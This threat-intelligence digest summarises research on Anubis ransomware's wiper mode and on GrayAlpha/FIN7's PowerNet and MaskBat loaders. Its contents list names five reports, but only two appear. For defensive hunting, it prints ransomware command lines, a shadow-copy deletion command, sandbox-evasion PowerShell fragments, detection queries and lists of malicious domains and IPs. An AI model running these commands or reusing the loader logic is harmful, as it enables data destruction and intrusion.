The Feed 2025-06-16

AI Generated Podcast

Spotify

Table of Contents

• Anubis: A Closer Look at an Emerging Ransomware with Built-in Wiper: Anubis is an emerging Ransomware-as-a-Service (RaaS) group that stands out with its dual-threat capability of file encryption and permanent file destruction (“wipe mode”), operating since December 2024 and targeting multiple sectors through a flexible affiliate program.
• GrayAlpha Unmasked: New FIN7-Linked Infrastructure, PowerNet Loader, and Fake Update Attacks: Insikt Group identified new infrastructure linked to GrayAlpha, a threat actor overlapping with the financially motivated FIN7 group, which employs custom PowerShell loaders like PowerNet and MaskBat and uses fake browser updates, fake 7-Zip download sites, and the TAG-124 TDS as infection vectors to deploy NetSupport RAT.
• NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073: This report details CVE-2025-33073, an NTLM reflection vulnerability that allows for authenticated remote command execution as SYSTEM on machines without SMB signing, by exploiting how Windows handles NTLM local authentication and Kerberos when a specific DNS record is used to coerce authentication.
• Serverless Tokens in the Cloud: Exploitation and Detections: This article explains how attackers exploit vulnerabilities like SSRF and RCE in serverless functions on platforms like AWS Lambda, Azure Functions, and Google Cloud Functions to exfiltrate temporary authentication tokens (IAM roles, managed identities, service account tokens) and gain unauthorized access, and it provides strategies for detection and prevention.
• Sleep with one eye open: how Librarian Ghouls steal data by night: Librarian Ghouls, an APT group targeting Russia and CIS, primarily uses targeted phishing emails and legitimate third-party software (like AnyDesk and Blat) to establish remote access, steal credentials and cryptocurrency wallet data, and deploy an XMRig crypto miner, often scheduling reboots to conceal their activity and operating through December 2024 to May 2025.

Anubis: A Closer Look at an Emerging Ransomware with Built-in Wiper

Summary

Anubis is an emerging Ransomware-as-a-Service (RaaS) operation that distinguishes itself with a dual-threat capability, combining traditional file encryption with a destructive file-wiping feature. This “wipe mode” is designed to permanently erase files, making recovery impossible even if a ransom is paid, significantly raising the stakes for victims and amplifying pressure to comply. Active since December 2024, Anubis officially emerged on cybercrime forums in 2025, operating a flexible affiliate program with negotiable revenue splits and supporting additional monetization paths beyond typical double extortion, such as data extortion and access sales. The group’s representatives are known to post in Russian on prominent cybercrime forums like RAMP and XSS. Anubis employs a double extortion strategy, threatening to publicly release stolen data if demands are not met. Its development progression has been observed, starting with an early sample named “Sphinx” in December 2024, which evolved into Anubis with updated branding and messaging. The group has already claimed victims across various sectors, including healthcare, engineering, and construction, and in multiple regions such as Australia, Canada, Peru, and the United States, indicating an opportunistic targeting approach.

Technical Details

Anubis ransomware follows a sophisticated attack chain, leveraging various MITRE ATT&CK techniques from initial access to impact, with a particular focus on destructive capabilities.

The operation’s origins can be traced to a sample named Sphinx, observed in development around December 2024. Early Sphinx ransom notes notably lacked both a TOR site and a unique ID, which were later incorporated into the Anubis version, indicating an iterative development process where the core malware remained similar but branding and messaging were refined for its public debut.

Initial Access (T1566 - Phishing) for Anubis attacks is primarily established through spear phishing emails. These emails are meticulously crafted to appear legitimate, enticing recipients to open malicious attachments or click on embedded links. This method serves as the primary entry vector for the ransomware into a victim’s environment.

Upon successful initial access, Execution (T1059 - Command and Scripting Interpreter) occurs. Anubis ransomware is designed to accept multiple parameters as input, which dictate its behavior and functionality. Key parameters include:

• /KEY=: Used for encryption key management.
• /elevated: Instructs the ransomware to attempt privilege elevation.
• /WIPEMODE: Activates the destructive file-wiping feature.
• /PFAD=: Specifies directories to exclude from encryption.
• /PATH=: Defines specific paths that should be encrypted.

Observed command-line operations associated with Anubis indicate its attempts to change system settings and wipe directories. For instance, the /WIPEMODE parameter is explicitly used to trigger the wiper functionality, as seen in the command: C:\_Tset>1.exe /KEY=TLGHTUAFBRFSWLJNCBAICPeOsrpJ1AWsGuyF /WIPEMODE. Another observed command demonstrates an attempt to change the desktop wallpaper, although this particular action failed in testing: cmd.exe /reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" /v Wallpaper /t REG_SZ /d "C:\ProgramData\wall.jpg" /f.

For Privilege Escalation (T1134.002 - Access Token Manipulation: Create Process with Token), Anubis performs a check for administrative privileges. This is done by attempting to access the system’s primary physical drive, \\.\PHYSICALDRIVE0, which typically requires elevated permissions. If administrative privileges are detected, the ransomware displays a message “Admin privileges detected. Attempting to elevate to SYSTEM…”. If not, it interactively prompts the user with “No admin privileges. Start process anyway?” and has the capability to re-launch itself with the /elevated parameter once higher privileges are obtained. These interactive prompts suggest that the malware is still under active development and refinement.

In terms of Defense Evasion (T1078 - Valid Accounts), the ransomware’s privilege checking mechanism also serves this purpose by ensuring it operates with the necessary access rights to bypass certain security controls.

For Discovery (T1083 - File and Directory Discovery), Anubis has a built-in list of system-critical folders that it avoids during its encryption process to prevent system instability. These excluded folders include: windows, system32, programdata, program files, program files (x86), AppData, public, system volume information, \\system volume information, efi, boot, public, perflogs, microsoft, intel, .dotnet, .gradle, .nuget, .vscode, msys64.

The Impact phase involves several destructive and extortionate techniques:

• T1490 - Inhibit System Recovery: Anubis executes the command vssadmin delete shadows /for=norealvolume /all /quiet to delete all Volume Shadow Copies on the specified drive, effectively preventing victims from restoring files from previous versions and hindering recovery efforts.
• T1489 - Service Stop: The ransomware is capable of terminating various processes and disabling/stopping services. (A full list of these actions would typically be found in the Indicators of Compromise, which are not provided in this excerpt).
• T1486 - Data Encrypted for Impact: For encryption, Anubis utilizes the Elliptic Curve Integrated Encryption Scheme (ECIES). The implementation of this encryption algorithm is noted to be publicly available on GitHub, written in Go, and bears similarities to the ECIES implementations seen in EvilByte and Prince ransomware. Encrypted files are appended with the .anubis extension. During its execution, Anubis extracts icon.ico and wall.jpg files to the C:\Programdata folder. It then modifies the icons of encrypted files to display its custom logo. While it attempts to change the desktop wallpaper using wall.jpg, testing showed this action was unsuccessful, likely due to the file not being properly dropped or applied. The ransom note, named RESTORE FILES.html, details the double extortion threat, stating that private data downloaded from the corporate network will be published if demands are not met.
• T1485 - Data Destruction (Wiper): This is a distinguishing feature of Anubis. By using the /WIPEMODE parameter, the ransomware can permanently delete the contents of files, making them unrecoverable. After the wipe mode is applied, the files remain listed in directories, but their sizes are reduced to 0 KB, indicating complete data erasure. This wiping capability significantly complicates recovery, even if a ransom were paid for decryption keys.

Countries

Anubis has claimed victims in various countries, including:

• Australia
• Canada
• Peru
• United States

Industries

The group has targeted a range of industries, suggesting an opportunistic approach across different sectors:

• Healthcare
• Engineering
• Construction

Recommendations

To proactively defend against attacks utilizing Anubis ransomware, enterprises should implement a comprehensive security strategy incorporating multiple best practices:

• Email and Web Safety: Exercise extreme caution with email and web practices. Avoid downloading attachments, clicking on links, or installing applications from unverified or untrusted sources. Implement robust web filtering solutions to restrict access to known malicious websites and prevent initial entry.
• Data Backup and Recovery: Regularly back up all critical data. Crucially, implement a robust recovery plan that includes maintaining offline and immutable backups to ensure file recovery is possible even if primary data is encrypted or wiped.
• Access Control: Enforce the principle of least privilege. Limit administrative rights and access privileges for employees only when absolutely necessary. Regularly review and adjust permissions to minimize the risk of unauthorized access or privilege escalation.
• Regular Updates and Scanning: Ensure all security software, operating systems, and applications are regularly updated to patch known vulnerabilities. Conduct periodic scans to identify potential weaknesses. Utilize endpoint security solutions capable of detecting and blocking malicious components and suspicious behaviors.
• User Education and Awareness: Conduct regular, comprehensive training sessions for employees to educate them on recognizing social engineering tactics and the dangers of phishing attempts. Heightened user awareness can significantly reduce the likelihood of successful initial access.
• Multilayered Security Approach: Adopt a defense-in-depth strategy that incorporates multilayered security across various domains including endpoint, email, web, and network security. This holistic approach strengthens overall threat detection and protection capabilities across all potential entry points.
• Sandboxing and Application Control: Employ sandboxing tools to safely analyze suspicious files before they are executed in the production environment. Enforce strict application control policies to prevent the execution of unauthorized applications and scripts, thereby limiting the ransomware’s ability to run.
• Monitoring for Abnormal Activity: Implement Security Information and Event Management (SIEM) tools to actively monitor for unusual script executions, suspicious process behaviors, and anomalous outbound network connections. Proactive monitoring helps in early identification and mitigation of threats before they can escalate.
• Specific Threat Mitigation: Implement security measures specifically designed to address tactics like spear-phishing, command-line execution, privilege escalation, shadow copy deletion, and particularly the file wiping capabilities employed by Anubis.

Hunting methods

Hunting queries for Anubis ransomware can be crafted based on its observed TTPs, particularly its command-line parameters and file interactions.

Trend Vision One Search App Query: Trend Vision One customers can utilize the Search App to hunt for potentially malicious command executions related to Anubis.

processCmd: /\/KEY=[A-Za-z0-9]{30,} \/(?:WIPEMODE|elevated)/

Logic Explanation: This query targets the processCmd field, which typically logs command-line arguments and commands executed by processes. The regular expression /KEY=[A-Za-z0-9]{30,} \/(?:WIPEMODE|elevated)/ is designed to detect specific patterns indicative of Anubis ransomware activity.

• /\/KEY=[A-Za-z0-9]{30,}/: This part looks for the /KEY= parameter, followed by an alphanumeric string of 30 or more characters ([A-Za-z0-9]{30,}). This likely represents the unique encryption key or identifier passed to the ransomware executable.
• \/(?:WIPEMODE|elevated)/: This part specifically looks for either the /WIPEMODE parameter (indicating the activation of the file-wiping function) or the /elevated parameter (indicating an attempt to re-launch with elevated privileges).
• Combining these components allows security teams to identify command executions where Anubis is attempting to perform its destructive wiping actions or escalate privileges, providing a valuable indicator of compromise during threat hunting.

Further hunting queries are available for Trend Vision One customers with Threat Insights Entitlement enabled.

Original link: https://www.trendmicro.com/en_us/research/25/f/anubis-a-closer-look-at-an-emerging-ransomware.html

GrayAlpha Unmasked: New FIN7-Linked Infrastructure, PowerNet Loader, and Fake Update Attacks

Summary

Insikt Group has identified and detailed new infrastructure and malware used by GrayAlpha, a threat actor cluster with significant overlap with the highly sophisticated and financially motivated cybercriminal group FIN7. FIN7 has been active since at least 2013, distinguishing itself as one of the most prolific and technically advanced cybercriminal entities globally. The group operates with a professional, business-like structure, featuring compartmentalized teams dedicated to various aspects of their operations, including malware development, phishing, money laundering, and overall management. Historically, FIN7 has focused on financially motivated campaigns, specifically targeting organizations worldwide for payment card data theft and unauthorized network access, predominantly in the retail, hospitality, and financial sectors.

Despite the U.S. Department of Justice unsealing indictments against three high-ranking FIN7 members in 2018—Dmytro Fedorov, Fedir Hladyr, and Andrii Kolpakov—which highlighted their extensive operations across 47 U.S. states and multiple countries, the group’s foundational infrastructure and tradecraft endured. This resilience allowed the broader criminal enterprise to continue its global targeting. In 2023, FIN7 expanded its illicit activities to include ransomware deployment, engaging in affiliations with major Ransomware-as-a-Service (RaaS) groups like REvil and Maze, while also managing its own RaaS programs, such as the now-retired Darkside and BlackMatter.

GrayAlpha, as an extension or evolution of FIN7, employs diverse and evolving infection vectors to deploy malware, primarily NetSupport RAT. The identified primary infection methods include fake browser update pages, fake 7-Zip download sites, and the use of the traffic distribution system (TDS) TAG-124. Notably, the use of TAG-124 by GrayAlpha had not been publicly documented prior to this report. Although all three infection vectors were observed in use simultaneously, the fake 7-Zip download pages were still active as of April 2025, with new domains continually being registered. Insikt Group’s analysis of these persistent fake 7-Zip sites led to the identification of an individual who may be involved in the GrayAlpha operation.

The threat actors leverage two new custom PowerShell loaders: PowerNet and MaskBat. PowerNet decompresses and executes NetSupport RAT, while MaskBat, a customized and obfuscated variant of FakeBat, also delivers NetSupport RAT. GrayAlpha’s operational sophistication and persistence demonstrate characteristics similar to Advanced Persistent Threat (APT) groups, highlighting a broader trend of professionalization within the cybercriminal ecosystem. This trend is fueled by the sustained profitability of cybercrime, limited international law enforcement collaboration, and the continuous evolution of security technologies, which in turn drive innovation among threat actors. Organizations across various industries are increasingly likely to be targeted, necessitating a comprehensive and adaptive security posture.

Technical Details

GrayAlpha’s operations exhibit a sophisticated level of technical acumen, leveraging diverse infection vectors and custom tooling to achieve their objectives, primarily the deployment of NetSupport RAT.

Infection Vectors and Initial Access (T1566.002, T1203, T1204.002): Over the past year, Insikt Group has identified three distinct, often overlapping, infection vectors, all ultimately leading to NetSupport RAT infections:

1. Fake Software Updates:
   • Observed since at least April 2024, these sites impersonate a wide range of legitimate products and services, including Google Meet, LexisNexis, Asana, AIMP, SAP Concur, CNN, the Wall Street Journal, and Advanced IP Scanner.
   • These fake update websites often incorporate a consistent JavaScript fingerprinting script composed of getIPAddress() and trackPageOpen() functions. This script sends a POST request to CDN-themed domains (e.g., cdn40[.]click), typically prefixed with “cdn” followed by a random number and a top-level domain (TLD).
   • The malicious payload is commonly delivered via /download.php, though variations such as /download/download.php, download2.php, and product-specific paths (e.g., /download/aimp_5.30.2541_w64-release.exe) have been observed.
   • In some instances, the threat actors utilized a compromised domain, worshipjapan[.]com, for fingerprinting activities, specifically in conjunction with the domain as4na[.]com.
   • While many domains are crafted to impersonate legitimate products, some appear to be randomly generated, such as teststeststests003202[.]shop, gogogononono[.]top, and gogogononono[.]xyz.
   • FIN7 previously utilized typosquatted domains, such as advanced-ip-sccanner[.]com in late September 2023, to compromise victims and establish communication with a Carbanak C2 server (166[.]1[.]160[.]118) over TCP port 443.
2. Malicious 7-Zip Download Pages:
   • GrayAlpha has employed fake 7-Zip download pages since at least April 2024, with new domain registrations appearing as recently as April 2025. These pages have maintained an unchanged structure since their initial observation.
   • Similar to the fake browser update pages, these 7-Zip pages also use the same fingerprinting script, but consistently rely on a single, static CDN-themed domain: cdn32[.]space.
   • An operational misconfiguration revealed a connection between infection vectors 1 and 2, as the domain 7zip-2024[.]pro was observed hosting a fake CNN browser update website in August 2024.
   • An outlier domain, h2[.]den4ik440[.]ru, served an identical 7-Zip page, including the fingerprinting script and POST request to cdn32[.]space. This led to the discovery of a YouTube channel and other underground forum accounts linked to “Den4ik440,” though Insikt Group assesses this individual may be an unwitting or false-flag participant, similar to FIN7’s use of the fake company Bastion Secure.
3. Use of TAG-124 TDS (Traffic Distribution System):
   • TAG-124’s TDS has seen increased adoption by various cybercriminal groups, and potentially even state-sponsored actors.
   • This TDS leverages an extensive network of compromised WordPress websites to deliver payloads using either fake browser update lures or the ClickFix technique.
   • Since at least August 2024, NetSupport RAT samples linked to GrayAlpha have been observed being delivered via TAG-124’s infrastructure. For example, a compromised WordPress site embedding the TAG-124 domain chhimi[.]com led to a NetSupport RAT infection, connecting to its C2 server (166[.]88[.]159[.]187) on port 443. The exact relationship between GrayAlpha and TAG-124 remains unknown.

PowerShell Loaders (T1059.001, T1053.003, T1027, T1140, T1036.005): GrayAlpha has evolved its tooling, shifting to two distinct, customized PowerShell loaders: PowerNet and MaskBat, primarily delivered through malicious MSIX application packages.

1. PowerNet Loader:
   • A PowerShell-based loader delivered via MSIX packages. Unlike traditional FakeBat, which typically retrieves payloads from external sources, PowerNet extracts and executes the payload (NetSupport RAT) directly embedded within the MSIX package.
   • A critical feature of PowerNet is its environment check for sandbox evasion (T1497.001): it verifies if the host is part of an enterprise domain. If the domain is “WORKGROUP,” it terminates execution. This domain validation logic is also present in the “Usradm Loader” used by the FIN7-related “WaterSeed” cluster.
   • Observed Command/Logic for Domain Check (PowerNet Type 1):

     $domain = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Domain
     if ($domain -eq "WORKGROUP") { } else {
         # Payload decryption and execution logic
     }
     

   • Following domain validation (if present), the script decrypts and extracts a 7-Zip archive using a hard-coded password, often involving multiple layers of compressed archives (one to three extraction steps). The final payload executed has consistently been NetSupport RAT.
   • Although PowerNet employs encrypted, compressed payloads and PowerShell-based unpacking, similar to FakeBat, there are no underlying code similarities between the two loaders.
   • PowerNet Variants:
     • Type 1: Includes domain validation and initiates a browser redirect to a legitimate site (e.g., https://www.concur[.]com/) before payload execution.
       • Example command: cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e VFS\ProgramFilesX64\client2.7z -oC:\Users\Public -p1234567890".
     • Type 2: Functionally identical to Type 1 but lacks domain validation and displays a “Update was successfully installed” message box.
     • Type 3: Features a different header structure, incorporates a browser redirect to a specified URL (e.g., https://www.google.com/intl/en_en/chrome/), and includes domain validation.
     • Type 4: Mirrors Type 3 but excludes domain validation.
     • Type 5: The most minimal variant, with no header, messages, or redirects, focusing solely on decompressing and executing the payload.
   • PowerNet has been observed across all three identified infection vectors (fake browser updates, fake 7-Zip downloads, TAG-124 TDS).
2. MaskBat Loader:
   • An obfuscated, customized variant of FakeBat. It remains unclear if this was developed by original FakeBat authors or GrayAlpha.
   • Functionally, MaskBat operates similarly to FakeBat: it utilizes MSIX packages to execute PowerShell scripts that retrieve and launch a final payload.
   • The primary distinction lies in its obfuscation techniques (T1027) and payload delivery: unlike FakeBat which typically downloads a GPG-encrypted archive, MaskBat samples directly download and run the payload.
   • MaskBat includes the unique string “usradm,” which has also been observed in the WaterSeed cluster, a FIN7-related activity cluster.
   • Observed Logic for MaskBat:

     # ... (obfuscated code for system fingerprinting and POST request)
     $iafO = "usradm"
     if ($AOfOqMjHpAXDHekjXs.Contains($iafO)) {
         # Payload download and execution logic
     }
     

   • MaskBat was exclusively delivered through Infection Vector 1 (fake browser updates).

Payload - NetSupport RAT: All NetSupport RAT samples deployed by GrayAlpha were linked to a consistent NetSupport license ID (MGJFFRT466) and serial number (NSM301071), both of which have been previously associated with FIN7 activity. This provides a strong indicator of compromise for this specific group’s activities.

Infrastructure and Hosting (T1583.001, T1583.003, T1583.004): GrayAlpha demonstrates a consistent preference for resilient or “bulletproof” hosting providers, often linked to entities known for supporting malicious activity.

• Infection Vector 1 (Fake Browser Updates) Hosting:
  • Predominantly resolved to infrastructure operated by Stark Industries Solutions (AS44477).
  • Additional hosting observed on AS29802 (HIVELOCITY, Inc.) and AS41745 (FORTIS-AS). AS29802 includes IP space controlled by bulletproof hoster 3NT Solutions LLP.
  • FORTIS-AS (AS41745), commonly referenced by “Baykov Ilya Sergeevich” (ORG-HIP1-RIPE) and assessed to be “hip-hosting,” has a history of FIN7-related activities, including hosting infrastructure for POWERTRASH and DiceLoader.
• Infection Vector 2 (Fake 7-Zip) Hosting:
  • Primarily concentrated within AS41745 (FORTIS-AS).
  • Most IP addresses are associated with AS215730 (H2NEXUS LTD), a relatively new UK-registered hosting provider established in January 2024, which advertises services on Russian-language forums like LolzTeam and uses a well-known address for Russian bulletproof hosting providers.
• NetSupport RAT C2 Hosting (T1071.001):
  • The majority of GrayAlpha’s NetSupport RAT C2s were hosted on infrastructure announced via ASNET (AS26383). ASNET is linked to “Baxet Group Inc.,” “just[.]hosting,” and “jvps[.]hosting”. ASNET also uses Stark Industries Solutions as an upstream provider, reinforcing the preference for abuse-resistant infrastructure.
  • Analysis of a unique self-signed certificate with subject and issuer “WIN-LH6KTLEDLTS” (observed on NetSupport RAT C2 servers 62[.]76[.]234[.]49, 91[.]149[.]232[.]112, and 212[.]224[.]107[.]150) led to the discovery of additional potentially linked servers. These additional servers also largely relied on ASNET, with the inclusion of Proton 66 OOO (AS198953), another known Russian-language bulletproof hosting provider linked to Bearhost on underground forums.

MSIX Package Certificates: Nearly 75% of all NetSupport RAT samples associated with MSIX packages were linked to just two certificate serial numbers: 159159760011286741492753271723304908269 (41.3%) and 7220204597627363080 (28.3%). These certificates are not exclusive to a single loader type, being used with both PowerNet and MaskBat.

FIN7’s Broader Tooling and Tradecraft: FIN7 is known for using a diverse range of custom and repurposed malware. Initial access is typically gained via spearphishing emails with malicious attachments or links, often combined with callback phishing.

• Carbanak: FIN7’s in-house developed backdoor and primary command-and-control framework, active since at least 2014. Used to manage compromised hosts and coordinate post-compromise activity.
• POWERTRASH: A uniquely obfuscated, PowerShell-based, in-memory loader adapted from the PowerSploit framework. A consistent feature of FIN7 intrusions, used to deploy payloads like DiceLoader and cracked Core Impact implants. Recent campaigns saw it loading NetSupport RAT and GraceWire malware.
• AuKill (AvNeutralizer): A custom Endpoint Detection and Response (EDR) evasion utility designed to disable endpoint security solutions, later offered for sale on criminal marketplaces.
• Anubis backdoor: A Python-based backdoor observed in recent campaigns, providing full system control via in-memory execution and communicating with C2 infrastructure using Base64-encoded data.
• EugenLoader (FakeBat or PaykLoader): A widely used loader-as-a-service (LaaS) malware family, distributed via malvertising and drive-by download campaigns. FIN7 (overlapping with Sangria Tempest and Storm-1113) used EugenLoader to install Carbanak and GraceWire. It delivers secondary payloads like IcedID, LummaC2, RedLine Stealer, and SectopRAT.

The persistence, adaptability, and technical sophistication observed in GrayAlpha’s operations mirror characteristics often attributed to state-sponsored APTs, underscoring the advanced capabilities within this cybercriminal group.

Countries

• Worldwide: FIN7 is considered one of the most prolific and technically sophisticated cybercriminal groups targeting organizations worldwide.
• United States: US Department of Justice indictments highlighted FIN7’s extensive operations against businesses across 47 US states.
• Multiple Countries: FIN7’s operations also spanned across multiple countries.
• Russia: Indications of infrastructure provider connections to Russia.

Industries

• Retail
• Hospitality
• Financial sectors
• Multiple industries (general)

Recommendations

Organizations should adopt a comprehensive and adaptive security posture to defend against sophisticated cybercriminal groups like GrayAlpha.

• Enforce Application Allow-Lists: Implement application allow-lists to block the download of seemingly legitimate files that contain malware. This is a primary technical control to prevent execution of unauthorized software.
• Comprehensive Employee Security Training: Where application allow-lists are not practical, invest in extensive employee security awareness training. This training should specifically focus on helping employees recognize suspicious behaviors, such as unexpected prompts for browser updates or redirects caused by malvertising. Regularly update training content with the latest lure schemes and attack trends to keep awareness current.
• Threat Landscape Monitoring: Continuously monitor the broader cybercriminal ecosystem and specific threat actors like GrayAlpha/FIN7 to understand their evolving tools, tactics, and procedures (TTPs). This intelligence will inform the establishment of effective security controls and strategic defense decisions.
• Minimize Sensitive Data Storage: Reduce the amount of sensitive data stored across your infrastructure. This limits potential exposure in the event of a breach, particularly relevant in scenarios involving double extortion attacks where threat actors may threaten to leak stolen data.
• Implement Strong Access Controls and Principle of Least Privilege: Enforce robust access controls and adhere strictly to the principle of least privilege. Ensure that users and systems only possess the minimum permissions necessary to perform their designated tasks. Limiting administrative rights significantly restricts the ability of ransomware or other malware to spread laterally and cause extensive damage across systems.
• Advanced Threat Detection:
  • Utilize YARA and Sigma rules (such as those provided in the original report) for custom file scanning and detection across various logging systems. Regularly update these detection rules to counter the constantly evolving nature of malware.
  • Support these rules with broader detection techniques, including monitoring of network artifacts.
• Leverage Network Intelligence: Employ network intelligence solutions, such as Recorded Future Network Intelligence, to detect exfiltration events early (e.g., those linked to NetSupport RAT). This proactive approach relies on comprehensive infrastructure discovery and analysis of vast amounts of network traffic to help prevent intrusions before they escalate.

Hunting Methods

To proactively identify existing and past infections, defenders should implement and frequently update detection rules.

• YARA Rules: YARA rules specific to PowerNet and MaskBat, and their payloads (NetSupport RAT), would be critical for file-based detection. (The report states YARA rules are provided within the full report, which is not fully available here, but highlights their importance).
• Malware Intelligence Hunting Queries: Similar to YARA rules, these queries would target specific artifacts, behaviors, or indicators associated with GrayAlpha’s operations across various logging systems.
• PowerShell Script Analysis (for PowerNet domain check logic):
  • Logic Explanation: The PowerNet loader includes a check if ($domain -eq "WORKGROUP") { } else { ... } that causes the malware to only proceed with payload execution if the host is not part of a “WORKGROUP” domain (i.e., it’s part of an enterprise domain). This is a sandbox evasion technique.
  • Hunting Query Concept (Pseudocode/High-Level Logic): Monitor PowerShell script executions for Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Domain followed by conditional logic that checks if the $domain variable is not “WORKGROUP” before proceeding with file decompression/execution commands (e.g., cmd /c "VFS\ProgramFilesX64\7z...).
  • Example (Conceptual KQL/SPL):

    SecurityEvent
    | where EventID == 4688 // Process Creation
    | where NewProcessName endswith "powershell.exe"
    | where CommandLine contains "Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Domain"
    | where CommandLine contains "$domain -eq \"WORKGROUP\"" and CommandLine contains "else {" // Looking for the specific conditional logic
    | // Further refine by looking for subsequent 7-zip extraction or similar suspicious file operations from the same process tree.
    

• PowerShell Script Analysis (for MaskBat “usradm” string check logic):
  • Logic Explanation: The MaskBat loader’s PowerShell script contains the distinct string “usradm” and performs a check if ($AOfOqMjHpAXDHekjXs.Contains($iafO)) where $iafO is “usradm”. This string is also linked to the WaterSeed cluster (FIN7-related).
  • Hunting Query Concept (Pseudocode/High-Level Logic): Scan PowerShell script content or execution logs for the presence of the string “usradm” in conjunction with dynamic payload download/execution patterns characteristic of FakeBat or MaskBat.
• Network Artifact Monitoring: Actively monitor network traffic for connections to known GrayAlpha C2 servers and payload distribution domains, as well as the unique NetSupport RAT license ID. Look for patterns like POST requests to “cdn” themed domains, or suspicious traffic originating from compromised WordPress sites (TAG-124).
• Certificate Monitoring: Monitor for the use of MSIX packages signed with the identified certificate serial numbers (especially 159159760011286741492753271723304908269 and 7220204597627363080). Also, hunt for connections or services using self-signed certificates with the subject/issuer “WIN-LH6KTLEDLTS”.
• Endpoint Detection and Response (EDR) Rules: Deploy EDR rules to detect known TTPs, such as the execution of PowerShell scripts from unusual locations, multiple layers of archive extraction, disabling of security solutions (like AuKill), or NetSupport RAT process behaviors.

IOC

NetSupport RAT License ID & Serial Number

MGJFFRT466
NSM301071

MSIX Certificate Serial IDs

159159760011286741492753271723304908269
7220204597627363080
104016719443392582891195013311543612543
116827743582394974699652266004655183380
123697917698467043984324093937304425096
151668424659434944355278914036686908262
15335572610851565716056383210363930580
19414496059604725969669510860671817818
249815938466542622099996912406279490697
36229021443316764032939009964574211891
88120626561545005758442085613766983940

Self-Signed TLS Certificates (Details of “1mss” & “WIN-LH6KTLEDLTS”) 1mss Serial Number: 81696767225661859469172902587455688153 (0x3d76399bf4cd179d4ef8933ec41ecdd9) MD5: a5685feb1b6c54ba5149ed2f7000f491 SHA1: 03b19fd1a41d0d1b55ad653341a05071b48a49ea SHA256: 798e651ed0784fa502d4c4af40802edfcb4fa2fb9ff59b89804707e2ad8c9807

WIN-LH6KTLEDLTS Serial Number: 22947032694881669786543959284050707008 (0x1143700fbdba92b14fd4ab4ef4464240) MD5: 14c2ce8f3c5856c8415368930bb8c1df SHA1: 515d9e04e0699dec2aa101691d166aef4d231dde SHA256: e44958bc36609a48efbe2ad76b57ed2227009bcfac6322c1498b76f8d5cf1271

Domains

2024-aimp[.]info
2024-aimp[.]pw
2024aimp[.]info
2024aimp[.]top
2024concur[.]com
2024lexisnexis[.]com
a-asana[.]com
advanced-ip-scanner[.]cfd
advanced-ip-scanner[.]link
advanced-ip-scanner[.]xyz
advancedipscannerapp[.]com
aimp[.]day
aimp[.]link
aimp[.]pm
aimp[.]xyz
aimp2024[.]pw
airtables[.]net
app-trello[.]com
as-a-n4[.]com
as-an-a[.]org
as4na[.]com
asaana[.]net
asana[.]pm
asana[.]tel
asana[.]wf
asanaa[.]net
assana[.]monster
assana[.]vip
bloomberg-t[.]com
c0ncuur[.]com
c0oncur[.]com
cnn-news[.]org
concur-cloud[.]net
concur-sap[.]info
concur-sap[.]life
concur-sap[.]one
concur-sap[.]pro
concur[.]cfd
concur[.]life
concur[.]pm
concur[.]re
concur[.]skin
concur2024[.]com
concur24news[.]one
concurnews[.]one
concuur[.]com
concuur[.]net
concuur[.]org
gl-meet2024[.]com
law2024[.]info
law2024[.]top
law360[.]one
lexis-nexis[.]site
lexis2024[.]info
lexis2024[.]pro
lexisnex[.]pro
lexisnex[.]team
lexisnex[.]top
lexisnexis[.]day
lexisnexis[.]lat
lexisnexis[.]one
lexisnexis[.]pro
lexisnexis[.]top
lexisnexis2024[.]com
lexisnexises[.]net
meet-gl[.]com
meet-go[.]click
meet-go[.]day
meet-go[.]info
meet-go[.]link
meet-go[.]org
meet-goo[.]net
meet-goo[.]org
meet[.]com[.]de
meet2024[.]com
meetgo2024[.]life
meetgo2024[.]top
news-cnn[.]net
newsconcur[.]one
newsconcur2024[.]life
newsconcur2024[.]world
newsconcur24[.]one
nmap[.]re
quicken-install[.]com
sapc0ncur24[.]one
sapconcur[.]pro
sapconcur[.]top
thomsonreuter[.]info
thomsonreuter[.]pro
wal-streetjournal[.]com
wall-street-journal[.]link
webex-install[.]com
wen-airdrop[.]net
wen-airdrop[.]network
westlaw[.]top
workable[.]uk[.]com
wsj[.]pm
wsj[.]re
wsj[.]wales
wsj[.]wf
2024-7zip-10[.]shop
2024-7zip-10[.]top
2024-7zip[.]info
2024-7zip[.]pw
20247zip[.]one
7-zip[.]cfd
7-zip[.]day
7-zip[.]shop
7zip-1508[.]one
7zip-1508[.]top
7zip-2024[.]cfd
7zip-2024[.]info
7zip-2024[.]pro
7zip-archiver[.]click
7zip-archiver[.]shop
7zip-org[.]live
7zip[.]sbs
7zip10-2024[.]life
7zip10-2024[.]live
7zip10-2024[.]top
7zip1024[.]life
7zip1024[.]live
7zip1024[.]top
7zip2024[.]info
7zip2024[.]one
7zip2024[.]pro
7zip2024[.]shop
7zip2024[.]store
7zip2024[.]top
7zipx[.]site
7zlp112024[.]top
7zlp2024[.]shop
7zlp2024[.]top
h2[.]den4ik440[.]ru
seven-zip[.]click
sevenzip[.]shop
sevenzip[.]today
cdn40[.]click
worshipjapan[.]com
cdn3535[.]shop
cdn251[.]lol
gogogononono[.]top
gogogononono[.]xyz
advanced-ip-sccanner[.]com
cdn32[.]space
chhimi[.]com

IP Addresses

5[.]180[.]24[.]50
38[.]180[.]80[.]124
38[.]180[.]142[.]198
45[.]88[.]91[.]8
45[.]89[.]53[.]60
45[.]89[.]53[.]110
45[.]89[.]53[.]215
45[.]89[.]53[.]243
74[.]119[.]194[.]151
85[.]209[.]134[.]106
85[.]209[.]134[.]137
86[.]104[.]72[.]16
86[.]104[.]72[.]23
86[.]104[.]72[.]208
89[.]105[.]198[.]190
91[.]228[.]10[.]81
94[.]131[.]101[.]65
103[.]35[.]188[.]97
103[.]35[.]190[.]40
103[.]35[.]191[.]28
103[.]35[.]191[.]137
103[.]35[.]191[.]222
103[.]113[.]70[.]37
103[.]113[.]70[.]142
103[.]113[.]70[.]158
138[.]124[.]180[.]85
138[.]124[.]183[.]79
138[.]124[.]183[.]95
138[.]124[.]183[.]176
138[.]124[.]184[.]64
138[.]124[.]184[.]214
141[.]98[.]168[.]106
38[.]180[.]141[.]203
62[.]60[.]155[.]194
77[.]90[.]38[.]106
85[.]209[.]134[.]45
